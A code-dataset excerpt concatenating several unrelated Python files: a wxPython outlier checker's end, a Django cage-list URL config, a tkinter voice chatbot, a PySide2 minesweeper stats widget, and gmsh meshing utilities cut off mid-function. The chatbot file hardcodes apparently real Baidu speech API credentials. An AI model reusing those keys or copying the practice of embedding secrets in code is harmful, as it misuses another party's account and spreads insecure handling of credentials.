chartProdSeriesTitle[i], numTests, row, col, chartLocX[i], chartLocY)\r\n row += 1\r\n row += 2\r\n chartLocY -= 8\r\n\r\n chartSTDEVTitle = ['STDEV_AVG', 'STDEV_STDEV']\r\n chartAvgSTDEVStdevSTDEV = workbook.add_chart({'type': 'line'})\r\n for i in range(2):\r\n chartAvgSTDEVStdevSTDEV.add_series({\r\n 'name': chartSTDEVTitle[i], # name series with string passed in\r\n 'values': ['Sheet1', row, col, row, numTests + 1] # use values of row & col coordinates\r\n })\r\n row += 1\r\n chartAvgSTDEVStdevSTDEV.set_title({'name': 'STDEV AVG/STDEV STDEV'})\r\n chartAvgSTDEVStdevSTDEV.set_legend({'position': 'bottom'})\r\n worksheet.insert_chart('Q' + str(chartLocY), chartAvgSTDEVStdevSTDEV)\r\n\r\n workbook.close()\r\n os.remove('temp.xlsx')\r\n else:\r\n if not sampFilePaths and prodFilePaths:\r\n wx.MessageBox(\"You did not select any sample files. Quitting program...\", \"ERROR\", wx.OK|wx.ICON_ERROR)\r\n elif sampFilePaths and not prodFilePaths:\r\n wx.MessageBox(\"You did not select any lot files. Quitting program...\", \"ERROR\", wx.OK|wx.ICON_ERROR)\r\n else:\r\n wx.MessageBox(\"You did not select any sample or lot files. Quitting program...\", \"ERROR\", wx.OK|wx.ICON_ERROR)\r\n \r\n app.MainLoop()\r\n\r\n\r\n\r\n\r\n","sub_path":"OutlierChecker.pyw","file_name":"OutlierChecker.pyw","file_ext":"pyw","file_size_in_byte":13556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"342252245","text":"from django.conf.urls.defaults import *\n\nfrom django.views.generic.list_detail import object_list\nfrom django.contrib.auth.decorators import login_required\n\nfrom mousedb.animal.models import Animal\n\n@login_required\ndef limited_object_list(*args, **kwargs):\n\treturn object_list(*args, **kwargs)\n\ndef animals_by_cage(request, cage_number):\n\t\"\"\"Wrapper function to filter animals by cage number.\"\"\"\n\treturn limited_object_list(\n\t\trequest,\n\t\tqueryset = Animal.objects.filter(Cage=cage_number),\n\t\ttemplate_name = 'animal_list.html', \n\t\ttemplate_object_name = 'animal'\n\t)\n\t\t\nurlpatterns = patterns('',\n\turl(r'^(?P\\d*)/$', animals_by_cage, name=\"animals-list-by-cage\"),\n\turl(r'^/?$', limited_object_list, {\n\t\t'queryset': Animal.objects.values('Cage', 'Strain__Strain', 'Strain__Strain_slug', 'Rack', 'Rack_Position', 'Alive').filter(Alive=True).order_by('Cage').distinct().filter(Alive='True'),\n\t\t'template_name': 'cage_list.html',\n\t\t'template_object_name': 'cage',\n\t\t}, name=\"cage-list\"),\n\turl(r'^all/?$', limited_object_list, {\n\t\t'queryset': Animal.objects.values(\"Cage\", \"Strain__Strain\",\"Strain__Strain_slug\", \"Rack\", \"Rack_Position\", \"Alive\").order_by('Cage').distinct(),\n\t\t'template_name': 'cage_list.html',\n\t\t'template_object_name': 'cage',\n\t\t'extra_context': {'all_cages':True}\n\t\t}, name=\"cage-list-all\"),\n\t\t)","sub_path":"src/mousedb/animal/urls/cage.py","file_name":"cage.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316291436","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport tkinter\nimport tkinter.messagebox\nimport playsound\nimport requests\nimport json\nfrom aip import AipSpeech\n\n\"\"\" 你的 APPID AK SK \"\"\"\nAPP_ID = \"16684201\"\nAPI_KEY = \"GlosBGu5OUQVCDgH4UpVo732\"\nSECRET_KEY = \"ZKArK2b0104ehIGq6V2qBsDNCfvTSIWK\"\nclient = AipSpeech(APP_ID, API_KEY, SECRET_KEY)\n\nroot = tkinter.Tk()\nroot.title(\"Let's talk\")\nL1 = tkinter.Label(root, text=\"你想对我说:\")\nL1.pack(side=tkinter.LEFT)\n\nE1 = tkinter.Entry(root, bd=5, width=50)\nE1.pack(side=tkinter.RIGHT)\n\n\ndef convertMsg(message):\n url = 'http://api.qingyunke.com/api.php?key=free&appid=0&msg=' + message\n res = requests.get(url)\n result = json.loads(res.text).get('result')\n if result == 0:\n message = json.loads(res.text).get('content')\n else:\n message = '突然不想聊啦,休息会儿再说'\n return message\n\n\ndef click():\n msg = convertMsg(E1.get())\n res = client.synthesis(msg, \"zh\", 1)\n with open(\"hello.mp3\", \"wb\") as fi:\n fi.write(res)\n playsound.playsound(\"hello.mp3\")\n tkinter.messagebox.askokcancel(\"Hello\", msg)\n fi.close()\n\n\nB = tkinter.Button(root, text=\"发送\", command=click)\nB.pack()\n\nroot.mainloop()\n# package commend: pyinstaller -F -w tkinter_test.py\n","sub_path":"my-py-demo/tkinter_test.py","file_name":"tkinter_test.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"78323516","text":"from PySide2.QtWidgets import QFrame\nfrom PySide2.QtWidgets import QHBoxLayout\nfrom PySide2.QtWidgets import QLabel\nfrom PySide2.QtWidgets import QPushButton\nfrom PySide2.QtWidgets import QSpacerItem\nfrom PySide2.QtWidgets import QSizePolicy\nfrom PySide2.QtGui import QPalette\nfrom PySide2.QtCore import Qt\nfrom PySide2.QtCore import QTimer\n\n\nclass StatsWidget(QFrame):\n def __init__(self, controller):\n QFrame.__init__(self)\n\n self.controller = controller\n self.controller.flagsCountChanged.connect(self.update_flags_count)\n self.controller.gameReset.connect(self.reset_timer)\n\n self.timer_val = 0\n\n self.timer = QTimer()\n self.timer.timeout.connect(self.increment_timer)\n self.timer.start(1000)\n\n self.flags = QLabel(\"0\")\n self.flags.setFixedWidth(50)\n self.flags.setAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.flags.setAutoFillBackground(True)\n\n flagsFont = self.flags.font()\n flagsFont.setPixelSize(28)\n self.flags.setFont(flagsFont)\n\n flagsPalette = self.flags.palette()\n flagsPalette.setColor(QPalette.Foreground, Qt.red)\n flagsPalette.setColor(QPalette.Window, Qt.black)\n self.flags.setPalette(flagsPalette)\n\n self.reset = QPushButton()\n self.reset.setFixedSize(45, 45)\n self.reset.clicked.connect(self.restart_game)\n\n self.seconds = QLabel(\"0\")\n self.seconds.setFixedWidth(50)\n self.seconds.setAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.seconds.setAutoFillBackground(True)\n\n secondsFont = self.seconds.font()\n secondsFont.setPixelSize(28)\n self.seconds.setFont(secondsFont)\n\n secondsPalette = self.seconds.palette()\n secondsPalette.setColor(QPalette.Foreground, Qt.red)\n secondsPalette.setColor(QPalette.Window, Qt.black)\n self.seconds.setPalette(secondsPalette)\n\n self.layout = QHBoxLayout()\n self.layout.setContentsMargins(5, 0, 5, 0)\n self.layout.setSpacing(0)\n self.layout.addWidget(self.flags)\n self.layout.addSpacerItem(QSpacerItem(100, 10, QSizePolicy.Maximum))\n self.layout.addWidget(self.reset)\n self.layout.addSpacerItem(QSpacerItem(100, 10, QSizePolicy.Maximum))\n self.layout.addWidget(self.seconds)\n self.setLayout(self.layout)\n\n def update_flags_count(self, count):\n self.flags.setText(str(count))\n\n def reset_timer(self):\n self.timer.stop()\n self.timer_val = 0\n self.seconds.setText(str(self.timer_val))\n self.timer.start()\n\n def increment_timer(self):\n self.timer_val += 1\n self.seconds.setText(str(self.timer_val))\n\n def restart_game(self):\n self.controller.restart_game()\n","sub_path":"statswidget.py","file_name":"statswidget.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"621198862","text":"import os\nimport math\nfrom pprint import pprint\n\nimport numpy as np\nimport gmsh\n\n\n# FIXME Bug with this approach:\n# File \"/share/home/butovr/gmsh_scripts/support.py\", line 14,\n# in get_volume_points_edges_data\n# surfaces_dim_tags = gmsh.model.getBoundary([[3, volume]])\n# File \"/home/butovr/Programs/gmsh/api/gmsh.py\", line 517,\n# in getBoundary ierr.value)\n# ValueError: ('gmshModelGetBoundary\n\n\ndef get_volume_points_edges_data(volume):\n \"\"\"\n Return volume points edges data.\n For point's characteristic length (lc) auto setting.\n :param int volume: volume index\n :return:\n {point: (n_edges, edges_min_length, edges_max_length, edges_avg_length)}\n :rtype: dict\n \"\"\"\n # Get volume edges\n volume_dim_tag = (3, volume)\n surfaces_dim_tags = gmsh.model.getBoundary([volume_dim_tag])\n edges = set()\n for sdt in surfaces_dim_tags:\n curves_dim_tags = gmsh.model.getBoundary([sdt])\n for cdt in curves_dim_tags:\n edges.add(abs(cdt[1]))\n # Get volume points\n points_dim_tags = gmsh.model.getBoundary([volume_dim_tag], recursive=True)\n points = tuple(x[1] for x in points_dim_tags)\n # Get points edges and edges points\n points_edges = {x: set() for x in points}\n edges_points = dict()\n for e in edges:\n edge_dim_tag = (1, e)\n points_dim_tags = gmsh.model.getBoundary([edge_dim_tag])\n edges_points[e] = tuple(x[1] for x in points_dim_tags)\n for p in edges_points[e]:\n points_edges[p].add(e)\n # Calculate edges lengths\n edges_lengths = get_volume_edges_lengths(volume)\n # Prepare the output\n points_edges_data = dict()\n for p in points:\n lengths = list()\n for e in points_edges[p]:\n lengths.append(edges_lengths[e])\n n_edges = len(lengths)\n min_length = min(lengths)\n max_length = max(lengths)\n mean_length = sum(lengths) / n_edges\n points_edges_data[p] = (\n n_edges,\n min_length,\n max_length,\n mean_length\n )\n # print(volume)\n # pprint(points_edges)\n # pprint(edges_points)\n return points_edges_data\n\n\ndef get_volume_edges_lengths(volume):\n \"\"\"\n Return volume edges straight (start point to end point, not curved) lengths.\n :param volume: volume index\n :return: dictionary (edge: edge_length)\n \"\"\"\n # Get volume edges\n volume_dim_tag = (3, volume)\n surfaces_dim_tags = gmsh.model.getBoundary([volume_dim_tag])\n edges = set()\n for sdt in surfaces_dim_tags:\n edges_dim_tags = gmsh.model.getBoundary([sdt])\n for edt in edges_dim_tags:\n edges.add(abs(edt[1]))\n # Get edges points\n edges_points = dict()\n for e in edges:\n edge_dim_tag = (1, e)\n points_dim_tags = gmsh.model.getBoundary([edge_dim_tag])\n edges_points[e] = [x[1] for x in points_dim_tags]\n # Calculate edges lengths\n edges_lengths = dict()\n for e in edges:\n ps = edges_points[e]\n bb0 = gmsh.model.getBoundingBox(0, ps[0])\n bb1 = gmsh.model.getBoundingBox(0, ps[1])\n cs0 = [bb0[0], bb0[1], bb0[2]]\n cs1 = [bb1[0], bb1[1], bb1[2]]\n vector = [cs1[0] - cs0[0], cs1[1] - cs0[1], cs1[2] - cs0[2]]\n length = math.sqrt(\n vector[0] * vector[0] + vector[1] * vector[1] + vector[2] * vector[\n 2])\n edges_lengths[e] = length\n return edges_lengths\n\n\ndef get_points_coordinates():\n points_coordinates = dict()\n points_dim_tags = gmsh.model.getEntities(0)\n for dt in points_dim_tags:\n point = dt[1]\n bb = gmsh.model.getBoundingBox(0, point)\n coordinates = [bb[0], bb[1], bb[2]]\n points_coordinates[point] = coordinates\n return points_coordinates\n\n\ndef get_edges_points():\n edges_points = dict()\n edges_dim_tags = gmsh.model.getEntities(1)\n for dt in edges_dim_tags:\n points_dim_tags = gmsh.model.getBoundary([dt], combined=False)\n edge = dt[1]\n points = [x[1] for x in points_dim_tags]\n edges_points[edge] = points\n return edges_points\n\n\ndef get_surfaces_edges():\n surfaces_edges = dict()\n surfaces_dim_tags = gmsh.model.getEntities(2)\n for dt in surfaces_dim_tags:\n edges_dim_tags = gmsh.model.getBoundary([dt], combined=False)\n surface = dt[1]\n edges = [x[1] for x in edges_dim_tags]\n surfaces_edges[surface] = edges\n return surfaces_edges\n\n\ndef get_volumes_surfaces():\n volumes_surfaces = dict()\n volumes_dim_tags = gmsh.model.getEntities(3)\n for dt in volumes_dim_tags:\n surfaces_dim_tags = gmsh.model.getBoundary([dt], combined=False)\n volume = dt[1]\n surfaces = [x[1] for x in surfaces_dim_tags]\n volumes_surfaces[volume] = surfaces\n return volumes_surfaces\n\n\ndef get_geometry():\n geo = dict()\n geo['volumes'] = get_volumes_surfaces()\n geo['surfaces'] = get_surfaces_edges()\n geo['edges'] = get_edges_points()\n geo['points'] = get_points_coordinates()\n return geo\n\n\ndef get_volumes_geometry():\n volumes_surfaces = dict()\n surfaces_edges = dict()\n edges_points = dict()\n points_coordinates = dict()\n volumes_dim_tags = gmsh.model.getEntities(3)\n # Volumes\n surfaces = set()\n for dt in volumes_dim_tags:\n surfaces_dim_tags = gmsh.model.getBoundary([dt], combined=False)\n volume = dt[1]\n volume_surfaces = [x[1] for x in surfaces_dim_tags]\n volumes_surfaces[volume] = volume_surfaces\n surfaces.update(set(volume_surfaces))\n # Surfaces\n edges = set()\n for s in surfaces:\n dim_tag = (2, s)\n edges_dim_tags = gmsh.model.getBoundary([dim_tag], combined=False)\n surface_edges = [x[1] for x in edges_dim_tags]\n surfaces_edges[s] = surface_edges\n abs_surfaces_edges = [abs(x) for x in surface_edges]\n edges.update(set(abs_surfaces_edges))\n # Edges\n points = set()\n for e in edges:\n dim_tag = (1, e)\n points_dim_tags = gmsh.model.getBoundary([dim_tag], combined=False)\n edge_points = [x[1] for x in points_dim_tags]\n edges_points[e] = edge_points\n points.update(set(edge_points))\n # Points\n for p in points:\n bb = gmsh.model.getBoundingBox(0, p)\n coordinates = [bb[0], bb[1], bb[2]]\n points_coordinates[p] = coordinates\n # Geometry\n geo = dict()\n geo['volumes'] = volumes_surfaces\n geo['surfaces'] = surfaces_edges\n geo['edges'] = edges_points\n geo['points'] = points_coordinates\n return geo\n\n\ndef check_geometry(geometry, check_duplicates=False):\n out = dict()\n # Points\n out['unused_points'] = dict()\n used_points = set()\n out['empty_points'] = dict()\n # Edges\n out['unused_edges'] = dict()\n used_edges = set()\n out['empty_edges'] = dict()\n out['one_edges'] = dict()\n out['loop_edges'] = dict()\n # Surfaces\n out['unused_surfaces'] = dict()\n used_surfaces = set()\n out['empty_surfaces'] = dict()\n out['one_surfaces'] = dict()\n out['loop_surfaces'] = dict()\n # Volumes\n out['loop_volumes'] = dict()\n out['empty_volumes'] = dict()\n out['one_volumes'] = dict()\n if check_duplicates:\n out['duplicate_points'] = dict()\n out['duplicate_edges'] = dict()\n out['duplicate_surfaces'] = dict()\n out['duplicate_volumes'] = dict()\n for volume, surfaces in geometry['volumes'].items():\n if len(surfaces) == 0:\n out['empty_volumes'][volume] = surfaces\n elif len(surfaces) == 1:\n out['one_volumes'][volume] = surfaces\n if len(surfaces) != len(set(surfaces)):\n out['loop_volumes'][volume] = surfaces\n used_surfaces.update(surfaces)\n if check_duplicates:\n for volume2, surfaces2 in geometry['volumes'].items():\n if surfaces2 == surfaces:\n if volume2 != volume:\n out['duplicate_volumes'].setdefault(volume2, set()).add(\n volume)\n out['duplicate_volumes'].setdefault(volume, set()).add(\n volume2)\n for surface, edges in geometry['surfaces'].items():\n if len(edges) == 0:\n out['empty_surfaces'][surface] = edges\n elif len(edges) == 1:\n out['one_surfaces'][surface] = edges\n if len(edges) != len(set(edges)):\n out['loop_surfaces'][surface] = edges\n abs_edges = [abs(x) for x in edges]\n used_edges.update(abs_edges)\n if surface not in used_surfaces:\n out['unused_surfaces'][surface] = edges\n if check_duplicates:\n for surface2, edges2 in geometry['surfaces'].items():\n if edges2 == edges:\n if surface2 != surface:\n out['duplicate_surfaces'].setdefault(surface2,\n set()).add(surface)\n out['duplicate_surfaces'].setdefault(surface,\n set()).add(\n surface2)\n for edge, points in geometry['edges'].items():\n if len(points) == 0:\n out['empty_edges'][edge] = points\n elif len(points) == 1:\n out['one_edges'][edge] = points\n if len(points) != len(set(points)):\n out['loop_edges'][edge] = points\n used_points.update(points)\n if edge not in used_edges:\n out['unused_edges'][edge] = points\n if check_duplicates:\n for edge2, points2 in geometry['edges'].items():\n if points2 == points:\n if edge2 != edge:\n out['duplicate_edges'].setdefault(edge2, set()).add(\n edge)\n out['duplicate_edges'].setdefault(edge, set()).add(\n edge2)\n for point, coordinates in geometry['points'].items():\n if len(coordinates) == 0:\n out['empty_points'][point] = coordinates\n if point not in used_points:\n out['unused_points'][point] = coordinates\n if check_duplicates:\n for point2, coordinates2 in geometry['points'].items():\n tolerance = gmsh.option.getNumber(\"Geometry.Tolerance\")\n duplicates = list()\n n_coordinates = len(coordinates2)\n for i in range(n_coordinates):\n difference = abs(coordinates2[i] - coordinates[i])\n if difference < tolerance:\n duplicates.append(1)\n else:\n duplicates.append(0)\n if sum(duplicates) == n_coordinates:\n if point2 != point:\n out['duplicate_points'].setdefault(point2, set()).add(\n point)\n out['duplicate_points'].setdefault(point, set()).add(\n point2)\n for k, v in out.items():\n result = True if len(v) == 0 else False\n answer = 'OK' if result else 'BAD'\n print('{} {}'.format(k, answer))\n if not result:\n pprint(v)\n return out\n\n\ndef initialize_geometry(factory, geometry):\n # Geometry with new indices\n new_geo = dict()\n new_geo['volumes'] = dict()\n new_geo['surfaces'] = dict()\n new_geo['edges'] = dict()\n new_geo['points'] = dict()\n # Old to new indices maps\n old_points_to_new_points = dict()\n old_edges_to_new_edges = dict()\n old_surfaces_to_new_surfaces = dict()\n old_volumes_to_new_volumes = dict()\n print('Initialize Points')\n for i, (k, v) in enumerate(geometry['points'].items()):\n print('Point {} {}/{}'.format(k, i + 1, len(geometry['points'])))\n old_tag = k\n new_tag = factory.addPoint(v[0], v[1], v[2])\n old_points_to_new_points[old_tag] = new_tag\n new_geo['points'][new_tag] = v\n print('Initialize Edges')\n for i, (k, v) in enumerate(geometry['edges'].items()):\n print('Edge {} {}/{}'.format(k, i + 1, len(geometry['edges'])))\n old_points = v\n new_points = [old_points_to_new_points[x] for x in old_points]\n old_tag = k\n new_tag = factory.addLine(new_points[0], new_points[1])\n old_edges_to_new_edges[old_tag] = new_tag\n new_geo['edges'][new_tag] = new_points\n print('Initialize Surfaces')\n for i, (k, v) in enumerate(geometry['surfaces'].items()):\n print('Surface {} {}/{}'.format(k, i + 1, len(geometry['surfaces'])))\n old_edges = v\n old_tag = k\n new_edges = [math.copysign(1, x) * old_edges_to_new_edges[abs(x)] for x\n in old_edges]\n if factory == gmsh.model.occ:\n abs_new_edges = [abs(x) for x in new_edges]\n # curve_loop_tag = factory.addCurveLoop(abs_new_edges)\n # FIXME signed edges doesn't work\n curve_loop_tag = factory.addWire(\n abs_new_edges) # FIXME signed edges doesn't work\n new_tag = factory.addSurfaceFilling(curve_loop_tag)\n else:\n curve_loop_tag = factory.addCurveLoop(new_edges)\n new_tag = factory.addSurfaceFilling([curve_loop_tag])\n old_surfaces_to_new_surfaces[old_tag] = new_tag\n new_geo['surfaces'][new_tag] = new_edges\n print('Initialize Volumes')\n for i, (k, v) in enumerate(geometry['volumes'].items()):\n print('Volume {} {}/{}'.format(k, i + 1, len(geometry['volumes'])))\n old_surfaces = v\n new_surfaces = [old_surfaces_to_new_surfaces[x] for x in old_surfaces]\n old_tag = k\n surface_loop_tag = factory.addSurfaceLoop(\n new_surfaces) # FIXME always return -1\n new_tag = factory.addVolume([surface_loop_tag])\n old_volumes_to_new_volumes[old_tag] = new_tag\n new_geo['volumes'][new_tag] = new_surfaces\n return new_geo\n\n\ndef auto_points_sizes(c=1.0):\n points_sizes = dict()\n volumes_dim_tags = gmsh.model.getEntities(3)\n for vdt in volumes_dim_tags:\n # Evaluate new_size\n ps_es_data = get_volume_points_edges_data(vdt[1])\n min_length = list()\n for k, v in ps_es_data.items():\n min_length.append(c * v[1])\n new_size = min(min_length)\n # Update sizes\n for k, v in ps_es_data.items():\n update_size = True\n old_size = points_sizes.get(k)\n if old_size is not None:\n if new_size > old_size:\n update_size = False\n if update_size:\n points_sizes[k] = new_size\n point_dim_tag = (0, k)\n gmsh.model.mesh.setSize([point_dim_tag], new_size)\n return points_sizes\n\n\ndef auto_boundary_points_sizes(c=1.0):\n volumes_dim_tags = gmsh.model.getEntities(3)\n # Get boundary surfaces\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags)\n # Get boundary surfaces edges\n edges_dim_tags = gmsh.model.getBoundary(surfaces_dim_tags, combined=False,\n oriented=False)\n # Points' edges and edges\n points_edges = dict()\n edges = dict()\n for dim_tag in edges_dim_tags:\n dim, tag = dim_tag\n points_dim_tags = gmsh.model.getBoundary([dim_tag])\n edges[tag] = tuple(x[1] for x in points_dim_tags)\n for p in edges[tag]:\n points_edges.setdefault(p, set()).add(tag)\n # Calculate edges lengths\n edges_lengths = dict()\n for edge, points in edges.items():\n bb0 = gmsh.model.getBoundingBox(0, points[0])\n bb1 = gmsh.model.getBoundingBox(0, points[1])\n cs0 = [bb0[0], bb0[1], bb0[2]]\n cs1 = [bb1[0], bb1[1], bb1[2]]\n vector = [cs1[0] - cs0[0], cs1[1] - cs0[1], cs1[2] - cs0[2]]\n length = math.sqrt(\n vector[0] * vector[0] + vector[1] * vector[1] + vector[2] *\n vector[2])\n edges_lengths[edge] = length\n points_sizes = dict()\n for point, edges in points_edges.items():\n lengths = [edges_lengths[x] for x in edges]\n points_sizes[point] = min(lengths) * c\n print(points_sizes)\n for point, size in points_sizes.items():\n gmsh.model.mesh.setSize([(0, point)], size)\n\n\ndef auto_boundary_points_sizes_min_edge_in_surface(c=1.0):\n points_sizes = dict()\n volumes_dim_tags = gmsh.model.getEntities(3)\n # Get boundary surfaces\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags)\n for surface_dim_tag in surfaces_dim_tags:\n # Get boundary surface edges\n edges_dim_tags = gmsh.model.getBoundary([surface_dim_tag],\n combined=False,\n oriented=False)\n # Edges and points' edges\n edges = dict()\n points_edges = dict()\n for dim_tag in edges_dim_tags:\n dim, tag = dim_tag\n points_dim_tags = gmsh.model.getBoundary([dim_tag])\n edges[tag] = tuple(x[1] for x in points_dim_tags)\n for p in edges[tag]:\n points_edges.setdefault(p, set()).add(tag)\n # Calculate edges lengths\n edges_lengths = dict()\n for edge, points in edges.items():\n bb0 = gmsh.model.getBoundingBox(0, points[0])\n bb1 = gmsh.model.getBoundingBox(0, points[1])\n cs0 = [bb0[0], bb0[1], bb0[2]]\n cs1 = [bb1[0], bb1[1], bb1[2]]\n vector = [cs1[0] - cs0[0], cs1[1] - cs0[1], cs1[2] - cs0[2]]\n length = math.sqrt(\n vector[0] * vector[0] + vector[1] * vector[1] + vector[2] *\n vector[2])\n edges_lengths[edge] = length\n for point, edges in points_edges.items():\n lengths = [edges_lengths[x] for x in edges]\n new_size = min(lengths) * c\n old_size = points_sizes.get(point, None)\n if old_size is not None:\n points_sizes[point] = min(new_size, old_size)\n else:\n points_sizes[point] = new_size\n for point, size in points_sizes.items():\n gmsh.model.mesh.setSize([(0, point)], size)\n\n\ndef auto_primitive_points_sizes_min_curve(primitive_obj, points_sizes_dict,\n c=1.0):\n for v in primitive_obj.volumes:\n ps_cs_data = get_volume_points_edges_data(v)\n for pd in ps_cs_data:\n p = pd[0] # point index\n size = c * pd[1] # c * min curve length\n old_size = points_sizes_dict.get(p)\n if old_size is not None:\n if size < old_size:\n points_sizes_dict[p] = size\n gmsh.model.mesh.setSize([(0, p)], size)\n else:\n points_sizes_dict[p] = size\n gmsh.model.mesh.setSize([(0, p)], size)\n\n\ndef auto_primitive_points_sizes_min_curve_in_volume(primitive_obj, points_sizes,\n c=1.0):\n for volume in primitive_obj.volumes:\n # Evaluate new_size\n ps_es_data = get_volume_points_edges_data(volume)\n min_length = list()\n for k, v in ps_es_data.items():\n min_length.append(c * v[1])\n new_size = min(min_length)\n # Update sizes\n for k, v in ps_es_data.items():\n update_size = True\n old_size = points_sizes.get(k)\n if old_size is not None:\n if new_size > old_size:\n update_size = False\n if update_size:\n points_sizes[k] = new_size\n point_dim_tag = (0, k)\n gmsh.model.mesh.setSize([point_dim_tag], new_size)\n\n\ndef auto_complex_points_sizes_min_curve(complex_obj, points_sizes_dict, k=1.0):\n for p in complex_obj.primitives:\n auto_primitive_points_sizes_min_curve(p, points_sizes_dict, k)\n\n\ndef auto_complex_points_sizes_min_curve_in_volume(complex_obj,\n points_sizes_dict, k=1.0):\n for p in complex_obj.primitives:\n auto_primitive_points_sizes_min_curve_in_volume(p, points_sizes_dict, k)\n\n\ndef set_boundary_points_sizes(size):\n volumes_dim_tags = gmsh.model.getEntities(3)\n points_dim_tags = gmsh.model.getBoundary(volumes_dim_tags, recursive=True)\n gmsh.model.mesh.setSize(points_dim_tags, size)\n\n\ndef set_points_sizes(size):\n points_dim_tags = gmsh.model.getEntities(0)\n gmsh.model.mesh.setSize(points_dim_tags, size)\n\n\ndef get_bounding_box_by_boundary_surfaces(boundary_surfaces):\n points_x = dict()\n points_y = dict()\n points_z = dict()\n surfaces_dim_tags = [(2, x) for x in boundary_surfaces]\n points_dim_tags = gmsh.model.getBoundary(surfaces_dim_tags, combined=False,\n recursive=True)\n for dt in points_dim_tags:\n dim = dt[0]\n p = dt[1]\n bb = gmsh.model.getBoundingBox(dim, p)\n points_x[p] = bb[0]\n points_y[p] = bb[1]\n points_z[p] = bb[2]\n pprint(points_x)\n pprint(points_y)\n pprint(points_z)\n p_max_x = max(points_x, key=(lambda x: points_x[x]))\n p_min_x = min(points_x, key=(lambda x: points_x[x]))\n p_max_y = max(points_y, key=(lambda x: points_y[x]))\n p_min_y = min(points_y, key=(lambda x: points_y[x]))\n p_max_z = max(points_z, key=(lambda x: points_z[x]))\n p_min_z = min(points_z, key=(lambda x: points_z[x]))\n max_x = points_x[p_max_x]\n min_x = points_x[p_min_x]\n max_y = points_y[p_max_y]\n min_y = points_y[p_min_y]\n max_z = points_z[p_max_z]\n min_z = points_z[p_min_z]\n return min_x, min_y, min_z, max_x, max_y, max_z\n\n\ndef get_boundary_surfaces():\n volumes_dim_tags = gmsh.model.getEntities(3)\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags)\n surfaces = [x[1] for x in surfaces_dim_tags]\n return surfaces\n\n\ndef get_interior_surfaces():\n ss = set(x[1] for x in gmsh.model.getEntities(2))\n bss = set(x[1] for x in gmsh.model.getBoundary(gmsh.model.getEntities(3)))\n iss = ss - bss\n return iss\n\n\ndef boundary_surfaces_to_six_side_groups():\n \"\"\"\n Try group boundary surfaces them into 6 groups by sides of cuboid:\n NX, NY, NZ, X, Y, Z\n :return: dict surfaces_groups\n \"\"\"\n boundary_surfaces = get_boundary_surfaces()\n surfaces_groups = {\n 'NX': list(),\n 'NY': list(),\n 'NZ': list(),\n 'X': list(),\n 'Y': list(),\n 'Z': list(),\n }\n # Points coordinates\n points_x = dict()\n points_y = dict()\n points_z = dict()\n surfaces_dim_tags = [(2, x) for x in boundary_surfaces]\n points_dim_tags = gmsh.model.getBoundary(surfaces_dim_tags, combined=False,\n recursive=True)\n for dt in points_dim_tags:\n dim = dt[0]\n p = dt[1]\n bb = gmsh.model.getBoundingBox(dim, p)\n points_x[p] = bb[0]\n points_y[p] = bb[1]\n points_z[p] = bb[2]\n # Evaluate bounding box\n p_max_x = max(points_x, key=(lambda x: points_x[x]))\n p_min_x = min(points_x, key=(lambda x: points_x[x]))\n p_max_y = max(points_y, key=(lambda x: points_y[x]))\n p_min_y = min(points_y, key=(lambda x: points_y[x]))\n p_max_z = max(points_z, key=(lambda x: points_z[x]))\n p_min_z = min(points_z, key=(lambda x: points_z[x]))\n max_x = points_x[p_max_x]\n min_x = points_x[p_min_x]\n max_y = points_y[p_max_y]\n min_y = points_y[p_min_y]\n max_z = points_z[p_max_z]\n min_z = points_z[p_min_z]\n # Check surfaces for parallel to NX, NY, NZ, X, Y, Z\n for s in boundary_surfaces:\n surface_dim_tag = (2, s)\n points_dim_tags = gmsh.model.getBoundary([surface_dim_tag],\n combined=False, recursive=True)\n s_points_xs = list()\n s_points_ys = list()\n s_points_zs = list()\n for dt in points_dim_tags:\n p = dt[1]\n s_points_xs.append(points_x[p])\n s_points_ys.append(points_y[p])\n s_points_zs.append(points_z[p])\n tol = gmsh.option.getNumber(\"Geometry.Tolerance\")\n done = False\n while not done:\n # Check X\n s_min_x = min(s_points_xs)\n s_max_x = max(s_points_xs)\n if abs(s_max_x - s_min_x) < tol:\n # Check X or NX\n while not done:\n if abs(s_min_x - min_x) < tol:\n surfaces_groups['NX'].append(s)\n done = True\n elif abs(s_max_x - max_x) < tol:\n surfaces_groups['X'].append(s)\n done = True\n else:\n tol *= 10\n break\n # Check Y\n s_min_y = min(s_points_ys)\n s_max_y = max(s_points_ys)\n if abs(s_max_y - s_min_y) < tol:\n # Check Y or NY\n while not done:\n if abs(s_min_y - min_y) < tol:\n surfaces_groups['NY'].append(s)\n done = True\n elif abs(s_max_y - max_y) < tol:\n surfaces_groups['Y'].append(s)\n done = True\n else:\n tol *= 10\n break\n # Check Z\n s_min_z = min(s_points_zs)\n s_max_z = max(s_points_zs)\n if abs(s_max_z - s_min_z) < tol:\n # Check Z or NZ\n while not done:\n if abs(s_min_z - min_z) < tol:\n surfaces_groups['NZ'].append(s)\n done = True\n elif abs(s_max_z - max_z) < tol:\n surfaces_groups['Z'].append(s)\n done = True\n else:\n tol *= 10\n break\n tol *= 10\n return surfaces_groups\n\n\ndef physical_surfaces(name_surfaces_map):\n for name, surfaces in name_surfaces_map.items():\n tag = gmsh.model.addPhysicalGroup(2, surfaces)\n gmsh.model.setPhysicalName(2, tag, name)\n\n\ndef volumes_surfaces_to_volumes_groups_surfaces(volumes_surfaces):\n \"\"\"\n For Environment object. For each distinct inner volume in Environment\n should exist the surface loop. If inner volumes touch each other they unite\n to volume group and have common surface loop.\n :param volumes_surfaces: [[v1_s1, ..., v1_si], ..., [vj_s1, ..., vj_si]]\n :return: volumes_groups_surfaces [[vg1_s1, ..., vg1_si], ...]\n \"\"\"\n vs_indexes = set(range(len(volumes_surfaces)))\n # gs = list()\n # gs_out = list()\n # for i, ss in 